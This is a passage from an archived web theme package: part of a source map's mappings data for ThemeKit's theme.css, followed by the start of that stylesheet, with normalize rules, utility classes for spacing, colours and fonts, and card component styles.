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",
"sources": ["../../src/scss/theme.scss","../../src/scss/_settings.scss","../../src/scss/_mixins.scss","../../src/scss/_cards.scss","../../src/scss/_widgets.scss","../../src/scss/_tables.scss","../../src/scss/_badges.scss","../../src/scss/_navigation.scss","../../src/scss/_buttons.scss","../../src/scss/_modal.scss","../../src/scss/_forms.scss","../../src/scss/_carousel.scss","../../src/scss/_calendar.scss","../../src/scss/_alert.scss","../../src/scss/_rating.scss","../../src/scss/_range-slider.scss","../../src/scss/_auth.scss","../../src/scss/_main.scss"],
"names": [],
"file": "theme.css"
}
PK��\U��yTT
css/theme.cssnu�[���/*!
 * ThemeKit v1 (https://lavalite.org/)
 * Copyright 2018 The Lavalite Authors
 */
html {
  font-family: sans-serif;
  /* 1 */
  -ms-text-size-adjust: 100%;
  /* 2 */
  -webkit-text-size-adjust: 100%;
  /* 2 */ }

body {
  margin: 0; }

article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
  display: block; }

audio,
canvas,
progress,
video {
  display: inline-block;
  /* 1 */
  vertical-align: baseline;
  /* 2 */ }

audio:not([controls]) {
  display: none;
  height: 0; }

[hidden],
template {
  display: none; }

a {
  background-color: transparent; }

a:active,
a:hover {
  outline: 0; }

abbr[title] {
  border-bottom: 1px dotted; }

strong {
  font-weight: bold; }

dfn {
  font-style: italic; }

h1 {
  font-size: 2em;
  margin: 0.67em 0; }

mark {
  background: #ff0;
  color: #000; }

small {
  font-size: 80%; }

sub,
sup {
  font-size: 75%;
  line-height: 0;
  position: relative;
  vertical-align: baseline; }

sup {
  top: -0.5em; }

sub {
  bottom: -0.25em; }

img {
  border: 0; }

svg:not(:root) {
  overflow: hidden; }

figure {
  margin: 1em 40px; }

hr {
  box-sizing: content-box;
  height: 0; }

pre {
  overflow: auto; }

code,
kbd,
pre,
samp {
  font-family: monospace, monospace;
  font-size: 1em; }

button,
input,
optgroup,
select,
textarea {
  color: inherit;
  /* 1 */
  font: inherit;
  /* 2 */
  margin: 0;
  /* 3 */ }

button {
  overflow: visible; }

button,
select {
  text-transform: none; }

button,
html input[type="button"],
input[type="reset"],
input[type="submit"] {
  -webkit-appearance: button;
  /* 2 */
  cursor: pointer;
  /* 3 */ }

button[disabled],
html input[disabled] {
  cursor: default; }

button::-moz-focus-inner,
input::-moz-focus-inner {
  border: 0;
  padding: 0; }

input {
  line-height: normal; }

input[type="checkbox"],
input[type="radio"] {
  box-sizing: border-box;
  /* 1 */
  padding: 0;
  /* 2 */ }

input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
  height: auto; }

input[type="search"] {
  -webkit-appearance: textfield;
  /* 1 */
  box-sizing: content-box;
  /* 2 */ }

input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
  -webkit-appearance: none; }

fieldset {
  border: 1px solid #c0c0c0;
  margin: 0 2px;
  padding: 0.35em 0.625em 0.75em; }

legend {
  border: 0;
  /* 1 */
  padding: 0;
  /* 2 */ }

textarea {
  overflow: auto; }

optgroup {
  font-weight: bold; }

table {
  border-collapse: collapse;
  border-spacing: 0; }

td,
th {
  padding: 0; }

*, body {
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
  -moz-osx-font-smoothing: grayscale; }

::-moz-selection {
  background: #b3d4fc;
  text-shadow: none; }

::selection {
  background: #b3d4fc;
  text-shadow: none; }

hr {
  display: block;
  height: 1px;
  border: 0;
  border-top: 1px solid #ccc;
  margin: 1em 0;
  padding: 0; }

audio, canvas, iframe, img, svg, video {
  vertical-align: middle; }

fieldset {
  border: 0;
  margin: 0;
  padding: 0; }

textarea {
  resize: vertical; }

.browserupgrade {
  margin: 0.2em 0;
  background: #ccc;
  color: #000;
  padding: 0.2em 0; }

* {
  outline: none !important; }

a {
  color: #212121;
  -moz-transition: color 0.2s;
  -o-transition: color 0.2s;
  -webkit-transition: color 0.2s;
  transition: color 0.2s; }
  a:hover, a:focus, a:active {
    outline: 0;
    text-decoration: none;
    color: #212121; }

.p0 {
  padding: 0px !important; }
.pt-0 {
  padding-top: 0px !important; }
.pb-0 {
  padding-bottom: 0px !important; }
.pl-0 {
  padding-left: 0px !important; }
.pr-0 {
  padding-right: 0px !important; }

.m0 {
  margin: 0px !important; }
.mt-0 {
  margin-top: 0px !important; }
.mb-0 {
  margin-bottom: 0px !important; }
.ml-0 {
  margin-left: 0px !important; }
.mr-0 {
  margin-right: 0px !important; }

.p5 {
  padding: 5px !important; }
.pt-5 {
  padding-top: 5px !important; }
.pb-5 {
  padding-bottom: 5px !important; }
.pl-5 {
  padding-left: 5px !important; }
.pr-5 {
  padding-right: 5px !important; }

.m5 {
  margin: 5px !important; }
.mt-5 {
  margin-top: 5px !important; }
.mb-5 {
  margin-bottom: 5px !important; }
.ml-5 {
  margin-left: 5px !important; }
.mr-5 {
  margin-right: 5px !important; }

.p10 {
  padding: 10px !important; }
.pt-10 {
  padding-top: 10px !important; }
.pb-10 {
  padding-bottom: 10px !important; }
.pl-10 {
  padding-left: 10px !important; }
.pr-10 {
  padding-right: 10px !important; }

.m10 {
  margin: 10px !important; }
.mt-10 {
  margin-top: 10px !important; }
.mb-10 {
  margin-bottom: 10px !important; }
.ml-10 {
  margin-left: 10px !important; }
.mr-10 {
  margin-right: 10px !important; }

.p15 {
  padding: 15px !important; }
.pt-15 {
  padding-top: 15px !important; }
.pb-15 {
  padding-bottom: 15px !important; }
.pl-15 {
  padding-left: 15px !important; }
.pr-15 {
  padding-right: 15px !important; }

.m15 {
  margin: 15px !important; }
.mt-15 {
  margin-top: 15px !important; }
.mb-15 {
  margin-bottom: 15px !important; }
.ml-15 {
  margin-left: 15px !important; }
.mr-15 {
  margin-right: 15px !important; }

.p20 {
  padding: 20px !important; }
.pt-20 {
  padding-top: 20px !important; }
.pb-20 {
  padding-bottom: 20px !important; }
.pl-20 {
  padding-left: 20px !important; }
.pr-20 {
  padding-right: 20px !important; }

.m20 {
  margin: 20px !important; }
.mt-20 {
  margin-top: 20px !important; }
.mb-20 {
  margin-bottom: 20px !important; }
.ml-20 {
  margin-left: 20px !important; }
.mr-20 {
  margin-right: 20px !important; }

.p25 {
  padding: 25px !important; }
.pt-25 {
  padding-top: 25px !important; }
.pb-25 {
  padding-bottom: 25px !important; }
.pl-25 {
  padding-left: 25px !important; }
.pr-25 {
  padding-right: 25px !important; }

.m25 {
  margin: 25px !important; }
.mt-25 {
  margin-top: 25px !important; }
.mb-25 {
  margin-bottom: 25px !important; }
.ml-25 {
  margin-left: 25px !important; }
.mr-25 {
  margin-right: 25px !important; }

.p30 {
  padding: 30px !important; }
.pt-30 {
  padding-top: 30px !important; }
.pb-30 {
  padding-bottom: 30px !important; }
.pl-30 {
  padding-left: 30px !important; }
.pr-30 {
  padding-right: 30px !important; }

.m30 {
  margin: 30px !important; }
.mt-30 {
  margin-top: 30px !important; }
.mb-30 {
  margin-bottom: 30px !important; }
.ml-30 {
  margin-left: 30px !important; }
.mr-30 {
  margin-right: 30px !important; }

.p35 {
  padding: 35px !important; }
.pt-35 {
  padding-top: 35px !important; }
.pb-35 {
  padding-bottom: 35px !important; }
.pl-35 {
  padding-left: 35px !important; }
.pr-35 {
  padding-right: 35px !important; }

.m35 {
  margin: 35px !important; }
.mt-35 {
  margin-top: 35px !important; }
.mb-35 {
  margin-bottom: 35px !important; }
.ml-35 {
  margin-left: 35px !important; }
.mr-35 {
  margin-right: 35px !important; }

.p40 {
  padding: 40px !important; }
.pt-40 {
  padding-top: 40px !important; }
.pb-40 {
  padding-bottom: 40px !important; }
.pl-40 {
  padding-left: 40px !important; }
.pr-40 {
  padding-right: 40px !important; }

.m40 {
  margin: 40px !important; }
.mt-40 {
  margin-top: 40px !important; }
.mb-40 {
  margin-bottom: 40px !important; }
.ml-40 {
  margin-left: 40px !important; }
.mr-40 {
  margin-right: 40px !important; }

.p45 {
  padding: 45px !important; }
.pt-45 {
  padding-top: 45px !important; }
.pb-45 {
  padding-bottom: 45px !important; }
.pl-45 {
  padding-left: 45px !important; }
.pr-45 {
  padding-right: 45px !important; }

.m45 {
  margin: 45px !important; }
.mt-45 {
  margin-top: 45px !important; }
.mb-45 {
  margin-bottom: 45px !important; }
.ml-45 {
  margin-left: 45px !important; }
.mr-45 {
  margin-right: 45px !important; }

.p50 {
  padding: 50px !important; }
.pt-50 {
  padding-top: 50px !important; }
.pb-50 {
  padding-bottom: 50px !important; }
.pl-50 {
  padding-left: 50px !important; }
.pr-50 {
  padding-right: 50px !important; }

.m50 {
  margin: 50px !important; }
.mt-50 {
  margin-top: 50px !important; }
.mb-50 {
  margin-bottom: 50px !important; }
.ml-50 {
  margin-left: 50px !important; }
.mr-50 {
  margin-right: 50px !important; }

.f-10 {
  font-size: 10px; }

.f-12 {
  font-size: 12px; }

.f-14 {
  font-size: 14px; }

.f-16 {
  font-size: 16px; }

.f-18 {
  font-size: 18px; }

.f-20 {
  font-size: 20px; }

.f-22 {
  font-size: 22px; }

.f-24 {
  font-size: 24px; }

.f-26 {
  font-size: 26px; }

.f-28 {
  font-size: 28px; }

.f-30 {
  font-size: 30px; }

.f-32 {
  font-size: 32px; }

.f-34 {
  font-size: 34px; }

.f-36 {
  font-size: 36px; }

.f-38 {
  font-size: 38px; }

.f-40 {
  font-size: 40px; }

.f-42 {
  font-size: 42px; }

.f-44 {
  font-size: 44px; }

.f-46 {
  font-size: 46px; }

.f-48 {
  font-size: 48px; }

.f-50 {
  font-size: 50px; }

.f-52 {
  font-size: 52px; }

.f-54 {
  font-size: 54px; }

.f-56 {
  font-size: 56px; }

.f-58 {
  font-size: 58px; }

.f-60 {
  font-size: 60px; }

.f-62 {
  font-size: 62px; }

.f-64 {
  font-size: 64px; }

.f-66 {
  font-size: 66px; }

.f-68 {
  font-size: 68px; }

.f-70 {
  font-size: 70px; }

.f-72 {
  font-size: 72px; }

.f-74 {
  font-size: 74px; }

.f-76 {
  font-size: 76px; }

.f-78 {
  font-size: 78px; }

.f-80 {
  font-size: 80px; }

.fw-100 {
  font-weight: 100; }

.fw-200 {
  font-weight: 200; }

.fw-300 {
  font-weight: 300; }

.fw-400 {
  font-weight: 400; }

.fw-500 {
  font-weight: 500; }

.fw-600 {
  font-weight: 600; }

.fw-700 {
  font-weight: 700; }

.fw-800 {
  font-weight: 800; }

.fw-900 {
  font-weight: 900; }

.img-20 {
  width: 20px; }

.img-30 {
  width: 30px; }

.img-40 {
  width: 40px; }

.img-50 {
  width: 50px; }

.img-60 {
  width: 60px; }

.img-70 {
  width: 70px; }

.img-80 {
  width: 80px; }

.img-90 {
  width: 90px; }

.img-100 {
  width: 100px; }

.b-t-primary {
  border-top: 1px solid #007bff; }

.b-b-primary {
  border-bottom: 1px solid #007bff; }

.b-l-primary {
  border-left: 1px solid #007bff; }

.b-r-primary {
  border-right: 1px solid #007bff; }

.b-primary {
  border: 1px solid #007bff; }

.b-t-warning {
  border-top: 1px solid #fb6340; }

.b-b-warning {
  border-bottom: 1px solid #fb6340; }

.b-l-warning {
  border-left: 1px solid #fb6340; }

.b-r-warning {
  border-right: 1px solid #fb6340; }

.b-warning {
  border: 1px solid #fb6340; }

.b-t-danger {
  border-top: 1px solid #f5365c; }

.b-b-danger {
  border-bottom: 1px solid #f5365c; }

.b-l-danger {
  border-left: 1px solid #f5365c; }

.b-r-danger {
  border-right: 1px solid #f5365c; }

.b-danger {
  border: 1px solid #f5365c; }

.b-t-success {
  border-top: 1px solid #2dce89; }

.b-b-success {
  border-bottom: 1px solid #2dce89; }

.b-l-success {
  border-left: 1px solid #2dce89; }

.b-r-success {
  border-right: 1px solid #2dce89; }

.b-success {
  border: 1px solid #2dce89; }

.b-t-inverse {
  border-top: 1px solid #4c5667; }

.b-b-inverse {
  border-bottom: 1px solid #4c5667; }

.b-l-inverse {
  border-left: 1px solid #4c5667; }

.b-r-inverse {
  border-right: 1px solid #4c5667; }

.b-inverse {
  border: 1px solid #4c5667; }

.b-t-info {
  border-top: 1px solid #11cdef; }

.b-b-info {
  border-bottom: 1px solid #11cdef; }

.b-l-info {
  border-left: 1px solid #11cdef; }

.b-r-info {
  border-right: 1px solid #11cdef; }

.b-info {
  border: 1px solid #11cdef; }

.bg-default {
  background-color: #d6d6d6 !important; }

.bg-theme {
  background-color: #ef4153 !important; }

.bg-aqua {
  background-color: #3ec5d6 !important; }

.bg-blue {
  background-color: #19B5FE !important; }

.bg-light-blue {
  background-color: #89CFF0 !important; }

.bg-teal {
  background-color: #008081 !important; }

.bg-yellow {
  background-color: #F7CA18 !important; }

.bg-orange {
  background-color: #FF8000 !important; }

.bg-green {
  background-color: #26C281 !important; }

.bg-lime {
  background-color: #cad900 !important; }

.bg-red {
  background-color: #F22613 !important; }

.bg-fuchsia {
  background-color: #df2de3 !important; }

.bg-navy {
  background-color: #000080 !important; }

.bg-empty {
  background: transparent !important; }

.bg-primary {
  background-color: #007bff !important; }

.bg-success {
  background-color: #2dce89 !important; }

.bg-info {
  background-color: #11cdef !important; }

.bg-warning {
  background-color: #fb6340 !important; }

.bg-danger {
  background-color: #f5365c !important; }

.bg-muted {
  background-color: #6c757d !important; }

.bg-inverse {
  background-color: #4c5667 !important; }

.bg-purple {
  background-color: #BF55EC !important; }

.bg-pink {
  background-color: #f76397 !important; }

.bg-white {
  background-color: #ffffff !important; }

.bg-facebook {
  background-color: #3b579d !important; }

.bg-twitter {
  background-color: #1da1f2 !important; }

.bg-google {
  background-color: #dc4a38 !important; }

.bg-linkedin {
  background-color: #0177b4 !important; }

.text-default {
  color: #d6d6d6 !important; }

.text-blue {
  color: #19B5FE !important; }

.text-light-blue {
  color: #89CFF0 !important; }

.text-teal {
  color: #008081 !important; }

.text-navy {
  color: #000080 !important; }

.text-lime {
  color: #cad900 !important; }

.text-orange {
  color: #FF8000 !important; }

.text-yellow {
  color: #F7CA18 !important; }

.text-aqua {
  color: #3ec5d6 !important; }

.text-white {
  color: #ffffff !important; }

.text-danger {
  color: #f5365c !important; }

.text-green {
  color: #26C281 !important; }

.text-primary {
  color: #007bff !important; }

.text-warning {
  color: #fb6340 !important; }

.text-success {
  color: #2dce89 !important; }

.text-info {
  color: #11cdef !important; }

.text-inverse {
  color: #4c5667 !important; }

.text-pink {
  color: #f76397 !important; }

.text-purple {
  color: #BF55EC !important; }

.text-dark {
  color: #212121 !important; }

.text-fuchsia {
  color: #df2de3 !important; }

.text-red {
  color: #F22613 !important; }

.text-facebook {
  color: #3b579d !important; }

.text-twitter {
  color: #1da1f2 !important; }

.text-instagram {
  color: #fb3958 !important; }

.text-google {
  color: #dc4a38 !important; }

.text-linkedin {
  color: #0177b4 !important; }

.text-behance {
  color: #053eff !important; }

.text-dribbble {
  color: #ea4c89 !important; }

.text-red {
  color: #F22613 !important; }

.min-width-zero {
  min-width: 0; }

.w-10 {
  width: 10% !important; }

.w-90 {
  width: 90% !important; }

.w-12 {
  width: 12% !important; }

.w-88 {
  width: 88% !important; }

.w-15 {
  width: 15% !important; }

.w-85 {
  width: 85% !important; }

.w-20 {
  width: 20% !important; }

.w-80 {
  width: 80% !important; }

.w-30 {
  width: 30% !important; }

.w-70 {
  width: 70% !important; }

.w-40 {
  width: 40% !important; }

.w-60 {
  width: 60% !important; }

.hidden {
  display: none !important; }

.d-inline-block {
  display: inline-block !important; }

.d-block {
  display: block !important; }

.visuallyhidden {
  border: 0;
  clip: rect(0 0 0 0);
  height: 1px;
  margin: -1px;
  overflow: hidden;
  padding: 0;
  position: absolute;
  width: 1px; }

.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus {
  clip: auto;
  height: auto;
  margin: 0;
  overflow: visible;
  position: static;
  width: auto; }

.invisible {
  visibility: hidden; }

.clearfix:before, .clearfix:after {
  content: " ";
  display: table; }

.clearfix:after {
  clear: both; }

@media only screen and (max-width: 1023px) {
  .w-sm-100 {
    width: 100% !important; } }
@media only screen and (max-width: 767px) {
  .w-xs-100 {
    width: 100% !important; } }
.card {
  border-color: #ffff;
  position: relative;
  width: 100%;
  border: none;
  margin-bottom: 30px;
  -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .card .card-header {
    padding: 20px 20px;
    border: 0;
    background: none;
    display: -webkit-box;
    display: -moz-box;
    display: -ms-flexbox;
    display: -webkit-flex;
    display: flex;
    -webkit-align-items: center;
    -moz-align-items: center;
    -ms-align-items: center;
    align-items: center; }
    .card .card-header:first-child {
      border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; }
    .card .card-header h3 {
      margin: 0;
      font-size: 18px;
      font-weight: normal;
      color: #212121; }
    .card .card-header .card-options a:not(.dropdown-item) {
      width: 30px;
      height: 30px;
      padding: 0;
      border-radius: 50%;
      text-align: center;
      line-height: 33px;
      color: #212121;
      display: inline-block;
      -moz-transition: all 0.5s ease-in-out;
      -o-transition: all 0.5s ease-in-out;
      -webkit-transition: all 0.5s ease-in-out;
      transition: all 0.5s ease-in-out; }
    .card .card-header .card-options span {
      color: #444;
      font-size: 12px; }
    .card .card-header .card-search {
      position: relative; }
      .card .card-header .card-search .form-control {
        padding-right: 60px;
        font-size: 14px;
        max-height: 30px;
        min-height: 30px; }
        .card .card-header .card-search .form-control ~ .btn {
          position: absolute;
          right: 0;
          top: 0;
          padding: 0;
          width: 30px;
          height: 30px;
          line-height: 30px;
          border-radius: 4px;
          background-color: #eceff1;
          border: none;
          -webkit-box-shadow: none;
          -moz-box-shadow: none;
          box-shadow: none; }
      .card .card-header .card-search.with-adv-search .adv-btn {
        background-color: transparent;
        border: 0;
        position: absolute;
        right: 30px;
        top: 0;
        width: 30px;
        height: 30px;
        line-height: 30px;
        padding: 0;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
      .card .card-header .card-search.with-adv-search .adv-search-wrap {
        padding: 20px;
        display: none;
        position: absolute;
        left: 30px !important;
        width: 100%;
        top: 30px;
        background-color: #ffffff;
        z-index: 4;
        -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
        border-radius: 6px;
        -webkit-border-radius: 6px;
        -moz-border-radius: 6px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap .form-control {
          padding-right: 15px; }
        .card .card-header .card-search.with-adv-search .adv-search-wrap .btn {
          padding: 0 15px;
          font-size: 14px;
          height: 30px;
          border-radius: 30px;
          -webkit-border-radius: 30px;
          -moz-border-radius: 30px; }
